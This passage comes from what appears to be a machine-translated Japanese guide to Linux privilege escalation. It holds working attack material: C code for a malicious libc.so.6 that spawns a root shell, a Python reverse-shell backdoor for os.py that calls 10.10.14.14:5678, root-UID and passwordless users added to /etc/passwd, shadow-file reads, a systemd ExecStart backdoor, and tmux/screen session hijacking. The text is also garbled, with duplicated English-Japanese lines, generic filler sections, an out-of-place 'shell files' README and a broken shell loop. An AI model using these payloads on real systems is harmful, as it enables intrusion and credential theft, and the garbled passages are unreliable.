次に、gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6を使用して、/var/tmpに悪意のあるライブラリを作成します。

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

機能

Linuxの機能は、プロセスに利用可能なルート権限の一部を提供します。これにより、ルート権限がより小さく独立した単位に分割されます。それぞれの単位は個別にプロセスに付与することができます。これにより、特権の完全なセットが減少し、攻撃のリスクが低下します。詳細については、次のページを読んで機能について詳しく学びましょう：

{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}

ディレクトリのパーミッション

ディレクトリ内の「実行」ビットは、影響を受けるユーザーがそのフォルダに「cd」できることを意味します。「読み取り」ビットは、ユーザーがファイルを「リスト」できることを意味し、「書き込み」ビットは、ユーザーがファイルを「削除」および「作成」できることを意味します。

ACL（アクセス制御リスト）

ACL（アクセス制御リスト）は、標準のugo/rwxの権限を上書きする可能性のある2番目のレベルの任意の権限です。正しく使用すると、ファイルやディレクトリへのアクセスを設定する際に、より細かい粒度でアクセスを設定できます。たとえば、ファイルの所有者でもグループの所有者でもない特定のユーザーにアクセスを許可または拒否することができます（ここから）。ユーザー「kali」にファイルの読み取りと書き込みの権限を与えます：

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

システムから特定のACLを持つファイルを取得する方法:

To get files with specific ACLs from the system, you can use the getfacl command. This command allows you to retrieve the ACLs (Access Control Lists) of files and directories on a Linux system.

Here's how you can use the getfacl command to obtain files with specific ACLs:

Open a terminal on your Linux system.
Run the following command to list the ACLs of a specific file or directory:
```
getfacl <file_or_directory_path>
```
Replace <file_or_directory_path> with the path to the file or directory you want to check.

For example, to get the ACLs of a file named example.txt, you would run:
```
getfacl example.txt
```
The command will display the ACLs associated with the specified file or directory. Look for the specific ACLs you are interested in.

Note: ACLs are represented in a specific format that includes the permissions and the user or group they apply to.

By using the getfacl command, you can easily retrieve files with specific ACLs from your Linux system.

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

オープンシェルセッション

古いバージョンでは、異なるユーザー（root）のシェルセッションを乗っ取ることができます。
最新バージョンでは、自分のユーザーのスクリーンセッションにのみ接続できます。ただし、セッション内には興味深い情報が含まれている可能性があります。

スクリーンセッションの乗っ取り

スクリーンセッションの一覧表示

screen -ls
screen -ls <username>/ # Show another user' screen sessions

セッションにアタッチする

To attach to a session, use the following command:

セッションにアタッチするには、次のコマンドを使用します。

tmux attach-session -t <session_name>

Replace <session_name> with the name of the session you want to attach to.

<session_name> をアタッチしたいセッションの名前に置き換えてください。

If you are unsure about the session name, you can list all the active sessions by running the following command:

セッション名がわからない場合は、次のコマンドを実行してすべてのアクティブなセッションをリストアップすることができます。

tmux list-sessions

This will display a list of all the active sessions along with their names.

これにより、アクティブなセッションの一覧が表示されます。

Once you have identified the session you want to attach to, use the attach-session command with the appropriate session name.

アタッチしたいセッションを特定したら、適切なセッション名を使用して attach-session コマンドを使用します。

For example, to attach to a session named "my_session", run the following command:

例えば、"my_session" という名前のセッションにアタッチするには、次のコマンドを実行します。

tmux attach-session -t my_session

This will attach your terminal to the specified session, allowing you to interact with the session as if you were directly connected to it.

これにより、ターミナルが指定されたセッションにアタッチされ、直接接続されているかのようにセッションとやり取りすることができます。

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

tmuxセッションの乗っ取り

これは古いtmuxバージョンの問題でした。私は特権を持たないユーザーとして作成されたrootのtmux（v2.1）セッションを乗っ取ることができませんでした。

tmuxセッションの一覧表示

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

セッションにアタッチする

To attach to a session, use the following command:

セッションにアタッチするには、次のコマンドを使用します。

tmux attach-session -t <session_name>

Replace <session_name> with the name of the session you want to attach to.

<session_name> をアタッチしたいセッションの名前に置き換えてください。

If you are unsure about the session name, you can list all the available sessions by running the following command:

セッション名がわからない場合は、次のコマンドを実行して利用可能なセッションを一覧表示できます。

tmux list-sessions

This will display a list of all the active sessions along with their names.

これにより、アクティブなセッションの一覧が表示されます。

Once you have identified the session you want to attach to, use the attach-session command with the appropriate session name.

アタッチしたいセッションを特定したら、適切なセッション名を使用して attach-session コマンドを実行します。

For example, to attach to a session named "my_session", run the following command:

例えば、"my_session" という名前のセッションにアタッチするには、次のコマンドを実行します。

tmux attach-session -t my_session

This will attach your terminal to the specified session, allowing you to interact with the session as if you were directly connected to it.

これにより、ターミナルが指定したセッションにアタッチされ、直接接続しているかのようにセッションとやり取りできるようになります。

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

SSH

Debian OpenSSL Predictable PRNG - CVE-2008-0166

Debianベースのシステム（Ubuntu、Kubuntuなど）で生成されたすべてのSSLおよびSSHキー（2006年9月から2008年5月13日まで）は、このバグの影響を受ける可能性があります。
このバグは、これらのOSで新しいSSHキーを作成する際に発生します。32,768のバリエーションしか可能ではありません。つまり、すべての可能性を計算することができ、SSH公開鍵を持っていれば、対応する秘密鍵を検索できます。計算された可能性はこちらで見つけることができます：https://github.com/g0tmi1k/debian-ssh

SSHの興味深い設定値

PasswordAuthentication: パスワード認証が許可されているかどうかを指定します。デフォルトは no です。
PubkeyAuthentication: 公開鍵認証が許可されているかどうかを指定します。デフォルトは yes です。
PermitEmptyPasswords: パスワード認証が許可されている場合、サーバーが空のパスワード文字列を持つアカウントへのログインを許可するかどうかを指定します。デフォルトは no です。

PermitRootLogin

rootがsshを使用してログインできるかどうかを指定します。デフォルトは no です。可能な値は以下の通りです：

yes: rootはパスワードと秘密鍵を使用してログインできます
without-passwordまたはprohibit-password: rootは秘密鍵のみを使用してログインできます
forced-commands-only: rootは秘密鍵のみを使用してログインし、コマンドオプションが指定されている場合にのみログインできます
no : 無効

AuthorizedKeysFile

ユーザー認証に使用できる公開鍵が含まれるファイルを指定します。%hのようなトークンを含めることができます。これはホームディレクトリに置き換えられます。絶対パス（/で始まる）またはユーザーのホームからの相対パスを指定できます。例：

AuthorizedKeysFile    .ssh/authorized_keys access

その設定は、ユーザー「testusername」のプライベートキーでログインしようとする場合、sshはあなたのキーの公開キーを/home/testusername/.ssh/authorized_keysと/home/testusername/accessに保存されている公開キーと比較します。

ForwardAgent/AllowAgentForwarding

SSHエージェント転送を使用すると、サーバーに鍵（パスフレーズなし！）を残さずに、ローカルのSSHキーを使用できます。したがって、sshを介してホストにジャンプし、そこから初期ホストにあるキーを使用して、別のホストにジャンプすることができます。

このオプションを$HOME/.ssh.configに次のように設定する必要があります：

Host example.com
ForwardAgent yes

注意してください。もしHostが*の場合、ユーザーが別のマシンに移動するたびに、そのホストは鍵にアクセスできるようになります（これはセキュリティ上の問題です）。

ファイル/etc/ssh_configはこの設定を上書きし、この構成を許可または拒否することができます。
ファイル/etc/sshd_configはキーワードAllowAgentForwarding（デフォルトは許可）を使用してssh-agentの転送を許可または拒否することができます。

もしForward Agentが環境に設定されていることがわかった場合、特権のエスカレーションに悪用できる可能性があるため、以下のページを読んでください：

{% content-ref url="ssh-forward-agent-exploitation.md" %} ssh-forward-agent-exploitation.md {% endcontent-ref %}

興味深いファイル

プロファイルファイル

ファイル/etc/profileおよび/etc/profile.d/以下のファイルは、ユーザーが新しいシェルを実行したときに実行されるスクリプトです。したがって、これらのファイルのいずれかを書き込むか変更することで特権をエスカレーションすることができます。

ls -l /etc/profile /etc/profile.d/

もし奇妙なプロファイルスクリプトが見つかった場合は、それを機密情報のためにチェックする必要があります。

Passwd/Shadow ファイル

OSによっては、/etc/passwdと/etc/shadowファイルの名前が異なる場合や、バックアップが存在する場合があります。そのため、それらをすべて見つけて、それらを読み取ることができるかどうかを確認して、ファイル内にハッシュがあるかどうかを確認することをお勧めします。

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

いくつかの場合には、/etc/passwd（または同等の）ファイル内にパスワードハッシュを見つけることができます。

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Writable /etc/passwd

最初に、次のコマンドのいずれかを使用してパスワードを生成します。

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

次に、ユーザーhackerを追加し、生成されたパスワードを追加します。

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

例: hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

suコマンドを使用してhacker:hackerを使用できます。

または、次の行を使用してパスワードのないダミーユーザーを追加することもできます。
警告: 現在のマシンのセキュリティが低下する可能性があります。

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

注意：BSDプラットフォームでは、/etc/passwdは/etc/pwd.dbおよび/etc/master.passwdに配置されており、/etc/shadowは/etc/spwd.dbに名前が変更されています。

あなたはいくつかの機密ファイルに書き込むことができるかを確認する必要があります。例えば、サービスの設定ファイルに書き込むことができますか？

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

たとえば、マシンがtomcatサーバーを実行しており、/etc/systemd/内のTomcatサービスの設定ファイルを変更できる場合、次の行を変更できます：

ExecStart=/path/to/backdoor
User=root
Group=root

次に、tomcatが起動されるときにバックドアが実行されます。

フォルダのチェック

次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (おそらく最後のものは読むことができないかもしれませんが、試してみてください)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

奇妙な場所/所有されたファイル

When performing privilege escalation on a Linux system, it is important to look for files that are located in unusual or unexpected locations, as well as files that are owned by privileged users. These files can potentially be leveraged to gain higher privileges on the system.

以下の手法は、Linuxシステムで特権昇格を行う際に、異常な場所や予期しない場所にあるファイル、特権ユーザーが所有するファイルを探すためのものです。これらのファイルは、システム上でより高い特権を取得するために利用される可能性があります。

Unusual File Locations

Look for files that are located in directories where they don't typically belong. For example, files in the /tmp directory or in user home directories (/home/user) that are not owned by the user can be suspicious. Additionally, files in system directories such as /bin, /sbin, or /usr/bin that are not part of the standard distribution can also be indicators of a potential privilege escalation vulnerability.

異常なファイルの場所

通常は存在しないディレクトリにあるファイルを探します。例えば、/tmpディレクトリやユーザーホームディレクトリ（/home/user）にある、ユーザーが所有していないファイルは疑わしいです。さらに、/bin、/sbin、または/usr/binなどのシステムディレクトリにある、標準配布物に含まれていないファイルも特権昇格の脆弱性の指標となる可能性があります。

Owned Files

Files owned by privileged users can also be potential targets for privilege escalation. Look for files owned by the root user (uid=0) or other users with elevated privileges. These files may contain sensitive information or have executable permissions that can be abused to gain higher privileges.

所有されたファイル

特権ユーザーが所有するファイルも特権昇格の潜在的な対象となります。rootユーザー（uid=0）や他の特権を持つユーザーが所有するファイルを探します。これらのファイルには、機密情報が含まれている可能性があり、また、実行権限があるため、これを悪用してより高い特権を取得することができます。

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

最後の数分で変更されたファイル

To identify the files that have been modified in the last few minutes, you can use the following command:

最後の数分で変更されたファイルを特定するために、次のコマンドを使用します。

find / -type f -mmin -5

This command uses the find utility to search for files (-type f) that have been modified within the last 5 minutes (-mmin -5). The / specifies the starting directory for the search, which in this case is the root directory.

このコマンドは、find ユーティリティを使用して、最後の5分以内に変更されたファイル (-type f) を検索します (-mmin -5)。/ は、検索の開始ディレクトリを指定します。この場合、ルートディレクトリです。

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB ファイル

Sqliteは軽量なデータベースエンジンであり、多くのアプリケーションで使用されています。Sqliteデータベースは単一のファイルに格納され、拡張子が.dbまたは.sqliteです。

Sqliteデータベースファイルは、特権昇格攻撃の潜在的なターゲットとなる可能性があります。攻撃者は、アプリケーションが使用するSqliteデータベースファイルにアクセスすることで、特権を昇格させることができます。

特権昇格攻撃を防ぐためには、以下の対策を実施することが重要です。

アプリケーションが使用するSqliteデータベースファイルのアクセス権を適切に設定する。
Sqliteデータベースファイルを暗号化する。
アプリケーションのセキュリティを強化し、不正なアクセスを防止する。

これらの対策を実施することで、Sqliteデータベースファイルを攻撃者から保護することができます。

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ファイル

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

隠しファイル

Hidden files (also known as dotfiles) are files on a Linux system that are prefixed with a dot (.) in their filenames. These files are not displayed by default in file managers or when using the ls command. Hidden files are commonly used to store configuration settings or sensitive information.

To view hidden files in a file manager, you can usually enable an option to show hidden files. In the command line, you can use the -a flag with the ls command to display all files, including hidden ones.

ls -a

When performing privilege escalation, it is important to check for hidden files as they may contain valuable information or provide a means to escalate privileges. Hidden files can be found in various locations, such as the home directory (~), system directories, or application-specific directories.

To search for hidden files, you can use the find command with the -name flag and the pattern ".*".

find / -name ".*"

This command will search the entire filesystem (/) for files with names starting with a dot.

Remember to always exercise caution when accessing or modifying hidden files, as they may be critical to the system's functionality or contain sensitive data.

find / -type f -iname ".*" -ls 2>/dev/null

PATHにあるスクリプト/バイナリ

It is common for Linux systems to have multiple directories in the PATH environment variable, which allows users to execute commands without specifying the full path to the executable. This convenience, however, can be exploited by an attacker to escalate privileges.

Linux looks for executables in the directories listed in the PATH variable in the order they are specified. If an attacker can place a malicious script or binary with the same name as a commonly used command in one of these directories, they can trick the system into executing their malicious code instead.

To identify potential privilege escalation opportunities through this method, you can perform the following steps:

List the directories in the PATH variable by running the command:
```
echo $PATH
```
For each directory listed, check if you have write permissions by running the command:
```
ls -ld <directory>
```
Replace <directory> with the actual directory path.
If you have write permissions on any of the directories, you can create a malicious script or binary with the same name as a commonly used command. For example, if the directory /usr/local/bin is writable, you can create a file named ls that contains malicious code.
Once the malicious script or binary is created, wait for a user with higher privileges to execute it. This can be achieved through various methods, such as social engineering or by exploiting vulnerabilities in other parts of the system.

To mitigate this privilege escalation technique, it is recommended to follow these best practices:

Limit the directories in the PATH variable to only those necessary for system functionality.
Avoid giving unnecessary write permissions to directories in the PATH.
Regularly review the contents of directories in the PATH for any suspicious or unauthorized scripts or binaries.
Use absolute paths when executing commands to avoid relying solely on the PATH variable.

By following these steps and best practices, you can reduce the risk of privilege escalation through malicious scripts or binaries in the PATH.

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done

ウェブファイル

Web files are files that are accessible through a web server. These files can include HTML, CSS, JavaScript, image files, and other types of files that are used to build and display websites.

ウェブファイルは、ウェブサーバーを通じてアクセス可能なファイルです。これらのファイルには、ウェブサイトの構築と表示に使用されるHTML、CSS、JavaScript、画像ファイルなど、さまざまな種類のファイルが含まれます。

Web files are often stored in a directory on the web server, and the directory structure can vary depending on the web application or website. It is important to properly secure web files to prevent unauthorized access or modification.

ウェブファイルは、通常、ウェブサーバー上のディレクトリに保存されます。ディレクトリ構造は、ウェブアプリケーションやウェブサイトによって異なる場合があります。ウェブファイルを適切に保護して、不正なアクセスや変更を防止することが重要です。

Here are some tips for securing web files:

ウェブファイルを保護するためのいくつかのヒントを以下に示します。

Restrict directory access: Ensure that only necessary directories are accessible to the public. Use appropriate file permissions and configure the web server to restrict access to sensitive directories.
ディレクトリアクセスの制限: 必要なディレクトリのみが一般にアクセス可能であることを確認します。適切なファイルのパーミッションを使用し、ウェブサーバーを設定して、機密ディレクトリへのアクセスを制限します。
Secure file uploads: Implement proper validation and sanitization techniques to prevent malicious file uploads. Restrict the types of files that can be uploaded and scan uploaded files for malware.
ファイルの安全なアップロード: 悪意のあるファイルのアップロードを防ぐために、適切なバリデーションとサニタイズの技術を実装します。アップロードできるファイルの種類を制限し、アップロードされたファイルをマルウェアスキャンします。
Protect sensitive files: Encrypt sensitive files that contain confidential information, such as user credentials or database connection details. Store these files outside of the web root directory to prevent direct access.
機密ファイルの保護: ユーザーの資格情報やデータベース接続の詳細など、機密情報を含む機密ファイルを暗号化します。これらのファイルをウェブルートディレクトリの外部に保存して、直接アクセスを防止します。
Regularly update software: Keep the web server software and any content management systems up to date with the latest security patches. Vulnerabilities in outdated software can be exploited by attackers.
ソフトウェアの定期的な更新: ウェブサーバーソフトウェアとコンテンツ管理システムを最新のセキュリティパッチで更新します。古いソフトウェアの脆弱性は攻撃者によって悪用される可能性があります。

By following these best practices, you can help protect your web files from unauthorized access and maintain the security of your web applications or websites.

これらのベストプラクティスに従うことで、ウェブファイルへの不正アクセスを防ぎ、ウェブアプリケーションやウェブサイトのセキュリティを維持することができます。

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

バックアップ

Backups are an essential part of any system's security strategy. They help protect against data loss and provide a way to recover from various incidents such as hardware failures, software bugs, or even malicious attacks. In the context of privilege escalation, backups can be particularly useful as they may contain sensitive information or configuration files that can be leveraged to gain higher privileges.

バックアップは、どんなシステムのセキュリティ戦略においても重要な要素です。データの損失から保護し、ハードウェアの故障、ソフトウェアのバグ、さらには悪意のある攻撃など、さまざまなインシデントからの回復手段を提供します。特に特権エスカレーションの文脈では、バックアップは、高い特権を獲得するために利用できる、機密情報や設定ファイルを含んでいる可能性があるため、特に有用です。

File Permissions

File permissions play a crucial role in securing a Linux system. By properly setting permissions, you can control who can read, write, or execute files and directories. This can help prevent unauthorized access and limit the impact of privilege escalation attacks.

ファイルのパーミッションは、Linuxシステムのセキュリティを確保する上で重要な役割を果たします。適切にパーミッションを設定することで、誰がファイルやディレクトリを読み取る、書き込む、実行することができるかを制御することができます。これにより、不正なアクセスを防止し、特権エスカレーション攻撃の影響を制限することができます。

Service Hardening

Hardening services involves securing the configuration and settings of various services running on a Linux system. By following best practices and applying security measures, you can reduce the attack surface and make it more difficult for an attacker to exploit vulnerabilities and gain unauthorized access.

サービスのハードニングは、Linuxシステム上で実行されているさまざまなサービスの設定と設定を保護することを意味します。ベストプラクティスに従い、セキュリティ対策を適用することで、攻撃面を減らし、攻撃者が脆弱性を悪用して不正なアクセスを行うのをより困難にすることができます。

User Management

Proper user management is essential for maintaining the security of a Linux system. This includes creating strong passwords, disabling unnecessary user accounts, and regularly reviewing user privileges. By following good user management practices, you can minimize the risk of privilege escalation and unauthorized access.

適切なユーザー管理は、Linuxシステムのセキュリティを維持するために重要です。これには、強力なパスワードの作成、不要なユーザーアカウントの無効化、定期的なユーザー権限の確認などが含まれます。良いユーザー管理のプラクティスに従うことで、特権エスカレーションや不正なアクセスのリスクを最小限に抑えることができます。

Logging and Monitoring

Logging and monitoring are crucial for detecting and responding to security incidents. By monitoring system logs and network traffic, you can identify suspicious activities and potential privilege escalation attempts. Additionally, setting up alerts and notifications can help you take immediate action when an incident occurs.

ログ記録と監視は、セキュリティインシデントの検出と対応において重要です。システムログやネットワークトラフィックを監視することで、不審な活動や特権エスカレーションの試みを特定することができます。さらに、アラートと通知の設定により、インシデント発生時に即座に対応することができます。

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

パスワードが含まれる既知のファイル

linPEASのコードを読み、複数のパスワードが含まれる可能性のあるファイルを検索します。
これを行うために使用できるもう1つの興味深いツールは、LaZagneです。これは、Windows、Linux、Mac上のローカルコンピュータに保存されている多くのパスワードを取得するためのオープンソースアプリケーションです。

ログ

ログを読むことができれば、興味深い/機密情報を見つけることができるかもしれません。ログが奇妙であればあるほど、それはより興味深いでしょう（おそらく）。
また、一部の「悪意のある」設定（バックドア？）された監査ログでは、この投稿で説明されているように、監査ログ内にパスワードを記録することができる場合があります：https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/。

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

シェルファイル

Introduction

This directory contains shell files that can be used for privilege escalation on Linux systems. These files are designed to exploit vulnerabilities and gain elevated privileges.

Usage

To use these shell files, follow these steps:

Download the desired shell file to your local machine.
Transfer the shell file to the target Linux system.
Make the shell file executable by running the following command:
```
chmod +x <shell-file-name>
```
Execute the shell file with root privileges by running the following command:
```
sudo ./<shell-file-name>
```

Disclaimer

These shell files are intended for educational purposes only. The author is not responsible for any misuse or illegal activities performed using these files. Use them at your own risk.

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

一般的なクレデンシャルの検索/正規表現

また、名前または内容に単語「password」を含むファイルをチェックし、ログ内のIPやメールアドレス、ハッシュの正規表現もチェックする必要があります。これらの方法の詳細についてはここでは説明しませんが、興味がある場合は、linpeasが実行する最後のチェックを確認できます。

書き込み可能なファイル

Pythonライブラリのハイジャック

Pythonスクリプトが実行される場所がわかり、そのフォルダに書き込みすることができるか、Pythonライブラリを変更することができる場合、OSライブラリを変更してバックドアを設置することができます（Pythonスクリプトが実行される場所に書き込みできる場合は、os.pyライブラリをコピーして貼り付けてください）。

ライブラリにバックドアを設置するには、os.pyライブラリの最後に次の行を追加します（IPとPORTを変更してください）：

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotateの脆弱性

logrotateには、ログファイルまたはその親ディレクトリのいずれかに書き込み権限を持つユーザーが、logrotateによって任意の場所にファイルを書き込むことができる脆弱性が存在します。もしlogrotateがrootによって実行されている場合、ユーザーはログインするすべてのユーザーによって実行される_/etc/bash_completion.d/_に任意のファイルを書き込むことができます。

したがって、ログファイルまたはその親フォルダのいずれかに書き込み権限がある場合、ほとんどのLinuxディストリビューションでは（logrotateはrootユーザーとして自動的に1日に1回実行されます）、特権昇格が可能です。また、_/var/log_以外にもローテーションされているファイルがあるかどうかも確認してください。

{% hint style="info" %} この脆弱性は、logrotateバージョン3.18.0およびそれ以前に影響します。 {% endhint %}

この脆弱性の詳細情報は、次のページで確認できます：https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition。

logrottenを使用してこの脆弱性を悪用することができます。

この脆弱性は、CVE-2016-1247 **（nginxログ）**と非常に類似していますので、ログを変更できることがわかった場合は、ログをシンボリックリンクで置き換えて特権を昇格できるかどうかを確認してください。

/etc/sysconfig/network-scripts/（Centos/Redhat）

何らかの理由で、ユーザーが_/etc/sysconfig/network-scripts_にifcf-<whatever>スクリプトを書き込むことができる場合、または既存のスクリプトを調整できる場合、あなたのシステムは乗っ取られています。

ネットワークスクリプト（例：ifcg-eth0）は、ネットワーク接続に使用されます。これらは.INIファイルとまったく同じように見えます。ただし、Linuxではこれらはネットワークマネージャー（dispatcher.d）によって~ソース化~されます。

私の場合、これらのネットワークスクリプトのNAME=属性が正しく処理されていません。もし名前に空白が含まれている場合、空白の後の部分が実行されようとします。つまり、最初の空白の後にあるすべての部分がrootとして実行されます。

例：/etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

脆弱性参照: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

init、init.d、systemd、およびrc.d

/etc/init.dには、System V initツール（SysVinit）で使用されるスクリプトが含まれています。これは、Linuxの伝統的なサービス管理パッケージであり、initプログラム（カーネルの初期化が完了したときに実行される最初のプロセス¹）およびサービスの開始、停止、設定を行うためのインフラストラクチャを含んでいます。具体的には、/etc/init.dのファイルは、特定のサービスを管理するためにstart、stop、restart、および（サポートされている場合）reloadコマンドに応答するシェルスクリプトです。これらのスクリプトは直接呼び出すこともできますが（最も一般的には）、他のトリガー（通常は/etc/rc?.d/にシンボリックリンクが存在すること）を介して呼び出されます。（ここから）。Redhatでは、このフォルダの代替として/etc/rc.d/init.dがあります。

/etc/initには、Upstartで使用される設定ファイルが含まれています。Upstartは、Ubuntuで推奨される若いサービス管理パッケージです。/etc/initのファイルは、Upstartに対してサービスのstart、stop、reload、またはstatusのクエリをどのように行うか、およびいつ行うかを指示する設定ファイルです。Lucid以降、UbuntuはSysVinitからUpstartに移行しており、そのために多くのサービスにはSysVinitスクリプトが付属していますが、Upstartの設定ファイルが優先されます。SysVinitスクリプトはUpstartの互換性レイヤーによって処理されます。（ここから）。

systemdは、Linuxの初期化システムおよびサービスマネージャであり、オンデマンドでデーモンを起動する機能、マウントおよび自動マウントポイントのメンテナンス、スナップショットサポート、およびLinuxコントロールグループを使用したプロセスのトラッキングなどの機能を備えています。systemdは、ログデーモンや他のツール、一般的なシステム管理タスクをサポートするためのユーティリティを提供します。（ここから）。

ディストリビューションリポジトリからダウンロードされたパッケージに含まれるファイルは/usr/lib/systemd/に配置されます。システム管理者（ユーザー）によって行われる変更は/etc/systemd/system/に配置されます。

その他のトリック

NFS特権昇格

{% content-ref url="nfs-no_root_squash-misconfiguration-pe.md" %} nfs-no_root_squash-misconfiguration-pe.md {% endcontent-ref %}

制限されたシェルからの脱出

{% content-ref url="escaping-from-limited-bash.md" %} escaping-from-limited-bash.md {% endcontent-ref %}

Cisco - vmanage

{% content-ref url="cisco-vmanage.md" %} cisco-vmanage.md {% endcontent-ref %}

カーネルセキュリティ保護

その他のヘルプ

Static impacket binaries

Linux/Unix Privescツール

Linuxローカル特権昇格ベクタを探すための最適なツール：LinPEAS

LinEnum：https://github.com/rebootuser/LinEnum(-tオプション)
Enumy：https://github.com/luke-goddard/enumy
Unix Privesc Check：http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker：www.securitysift.com/download/linuxprivchecker.py
BeeRoot：https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop：LinuxおよびMACでカーネルの脆弱性を列挙するhttps://github.com/spencerdodd/kernelpop
Mestaploit：multi/recon/local_exploit_suggester
Linux Exploit Suggester：https://github.com/mzet-/linux-exploit-suggester
EvilAbigail（物理アクセス）：https://github.com/GDSSecurity/EvilAbigail
その他のスクリプトのまとめ：https://github.com/1N3/PrivEsc

参考文献

https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://payatu.com/guide-linux-privilege-escalation/
https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
https://touhidshaikh.com/blog/?p=827
https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
https://github.com/frizb/Linux-Privilege-Escalation
https://github.com/lucyoa/kernel-exploits
https://github.com/rtcrowley/linux-private-i

